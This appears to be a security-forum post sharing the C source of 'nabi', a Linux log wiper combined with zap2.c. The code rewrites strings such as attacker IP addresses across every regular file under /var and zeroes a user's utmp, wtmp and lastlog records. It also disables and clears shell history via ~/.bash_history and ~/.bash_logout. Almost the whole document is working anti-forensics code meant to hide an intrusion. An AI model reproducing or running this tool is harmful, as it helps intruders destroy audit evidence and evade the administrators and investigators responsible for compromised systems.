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www.eviloctal.com）
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代码:
/*
Advanced /var log wiper for linux
nabi ver 1.0 ( friendly zap2.c )
date : 1.15 2006 (Sun)
ex 1) # ./nabi root 111.111.111.111 222.222.222.222
ex 2) # ./nabi root failed success
$ must to be two string length is same.
Tested on:
- Debian 3.0r1
- RH 9.0
- Fedora core 2
..
TODO:
test & fix!
*/
#include <stdio.h>
#include <dirent.h>
#include <string.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <unistd.h>
#include <sys/file.h>
#include <fcntl.h>
#include <utmp.h>
#include <pwd.h>
#include <lastlog.h>
#define MAX_PATH 1024
#define MAX_DEPTH 128
#define PROGRAM "Nabi ver 1.7 beta ( [email]geinblues@gmail.com[/email] )"
// #define DEBUG
/* proto type */
int insert_node(char *filename);
void load_dir(int cdepth);
void init_list();
void show_list();
void exploit(char *string, char *newstring);
void history_cleanup();
void zap2_main(char *user);
/* linked-list stuffs for file list */
struct file_list
{
struct file_list *next;
int depth;
char d_name[MAX_PATH];
} *head, *tail;
static char root_dir[] = "/var";
int main(int argc, char *argv[])
{
struct dirent *dp;
DIR *dir;
int dumb;
if(argc < 4){
printf("%s Usage: %s <username> <original string> <new string>\n", PROGRAM, argv[0]);
return(-1);
}
if(strlen(argv[2]) != strlen(argv[3])){
perror("must to be two string length is same. \n");
return(-2);
}
/* initialization linked-list */
init_list();
/* prepare root_dir(/var) is be able to use */
if((dir = opendir(root_dir)) == NULL){
perror("can't open root directory");
return(-3);
}
closedir(dir);
/* loading file list into initialized linked-list ( MAX_DEPTH = /var/a/b/c/d... x 128 ) */
for(dumb = 1; dumb < MAX_DEPTH; dumb++){
load_dir(dumb);
}
#ifdef DEBUG
show_list();
#endif
// spoof all your strings like ipaddress under /var directories.
exploit(argv[2], argv[3]);
// clean your account's logging information by zap2.c.
zap2_main(argv[1]);
// setup cleaning terminal history after logout.
history_cleanup();
return 0;
}
void init_list()
{
head = (struct file_list *) malloc(sizeof(struct file_list));
tail = (struct file_list *) malloc(sizeof(struct file_list));
head->depth = 1;
strncpy(head->d_name, root_dir, MAX_PATH);
head->next = tail;
tail->depth = -1;
tail->next = NULL;
}
int insert_node(char *filename)
{
struct file_list *ipos;
struct file_list *new_node;
unsigned int cnt_d = 0;
char *ifilename;
ifilename = filename;
#ifdef DEBUG
printf("insert_node\n");
printf("%s\n", ifilename);
#endif
while(*ifilename != NULL)
if(*ifilename++ == '/') cnt_d++;
#ifdef DEBUG
printf("cnt_d = %d\n", cnt_d);
#endif
for(ipos = head; ipos->next != tail; ipos = ipos->next);
//ipos = ipos->next;
if((new_node = (struct file_list *)malloc(sizeof(struct file_list))) == NULL)
return(-1);
new_node->depth = cnt_d;
strncpy(new_node->d_name, filename, MAX_PATH);
new_node->next = tail;
ipos->next = new_node;
#ifdef DEBUG
printf("newnode file: %s\n", filename);
#endif
return 0;
}
void load_dir(int cdepth)
{
struct file_list *wpos;
DIR *dir;
struct dirent *dp;
char full_path[MAX_PATH];
int dplen = 0;
#ifdef DEBUG
printf("load_dir\n");
#endif
for(wpos = head; wpos->next != NULL; wpos = wpos->next){
if(wpos->depth == -1) return;
#ifdef DEBUG
Printf("wpos->depth : %d cdepth: %d\n", wpos->depth, cdepth);
#endif
if(wpos->depth == cdepth){
// insert cdepth's child directories.
if((dir = opendir(wpos->d_name)) == NULL){
continue;
}
while((dp = readdir(dir)) != NULL){
dplen = strlen(dp->d_name);
if(dp->d_name[dplen-1] != '.'){
sprintf(full_path, "%s/%s", wpos->d_name, dp->d_name);
insert_node(full_path);
}
}
closedir(dir);
}
}
wpos = wpos->next; // left last one node hmm ??
}
void show_list()
{
struct file_list *spos;
#ifdef DEBUG
printf("showlist\n");
#endif
for(spos = head; spos->next != NULL; spos = spos->next){
printf("%d: %s\n", spos->depth, spos->d_name);
}
}
/* thanks for this nice program sed and mv */
#define NICE_SED "/bin/sed"
#define USEFUL_MV "/bin/mv"
void exploit(char *string, char *newstring)
{
struct file_list *epos;
struct stat nabistat;
char command[512];
char tmp_file[128];
if(strlen(string) != strlen(newstring)){
perror("must be two argument's length is same. \n");
return;
}
for(epos = head; epos->next != NULL; epos = epos->next){
lstat(epos->d_name, &nabistat);
if(S_ISREG(nabistat.st_mode)){
#ifdef DEBUG
printf("THIS IS REGULAR FILE>> %s\n", epos->d_name);
#endif
sprintf(tmp_file, "%s.sed", epos->d_name);
sprintf(command, "%s 's/%s/%s/g' %s > %s.sed; %s %s %s; rm -rf %s",
NICE_SED, string, newstring, epos->d_name, epos->d_name,
USEFUL_MV, tmp_file, epos->d_name,
tmp_file);
system(command);
#ifdef DEBUG
printf("%s\n", command);
#endif
}
}
}
void history_cleanup()
{
system("w; last; lastlog; ln -sf /dev/null ~/.bash_history");
system("echo 'clear;history -c' > ~/.bash_logout");
}
/*
zap2.c ( combined ).
*/
#define WTMP_NAME "/var/log/wtmp"
#define UTMP_NAME "/var/run/utmp"
#define LASTLOG_NAME "/var/log/lastlog"
int f;
void kill_utmp(who)
char *who;
{
struct utmp utmp_ent;
if ((f=open(UTMP_NAME,O_RDWR))>=0) {
while(read (f, &utmp_ent, sizeof (utmp_ent))> 0 )
if (!strncmp(utmp_ent.ut_name,who,strlen(who))) {
bzero((char *)&utmp_ent,sizeof( utmp_ent ));
lseek (f, -(sizeof (utmp_ent)), SEEK_CUR);
write (f, &utmp_ent, sizeof (utmp_ent));
}
close(f);
}
}
void kill_wtmp(who)
char *who;
{
struct utmp utmp_ent;
long pos;
pos = 1L;
if ((f=open(WTMP_NAME,O_RDWR))>=0) {
while(pos != -1L) {
lseek(f,-(long)( (sizeof(struct utmp)) * pos),L_XTND);
if (read (f, &utmp_ent, sizeof (struct utmp))<0) {
pos = -1L;
} else {
if (!strncmp(utmp_ent.ut_name,who,strlen(who))) {
bzero((char *)&utmp_ent,sizeof(struct utmp ));
lseek(f,-( (sizeof(struct utmp)) * pos),L_XTND);
write (f, &utmp_ent, sizeof (utmp_ent));
pos = -1L;
} else pos += 1L;
}
}
close(f);
}
}
void kill_lastlog(who)
char *who;
{
struct passwd *pwd;
struct lastlog newll;
if ((pwd=getpwnam(who))!=NULL) {
if ((f=open(LASTLOG_NAME, O_RDWR)) >= 0) {
lseek(f, (long)pwd->pw_uid * sizeof (struct lastlog), 0);
bzero((char *)&newll,sizeof( newll ));
write(f, (char *)&newll, sizeof( newll ));
close(f);
}
} else printf("%s: ?\n",who);
}
void zap2_main(char *user)
{
kill_lastlog(user);
kill_wtmp(user);
kill_utmp(user);
printf("nabi: Zap2!\n");
return;
}
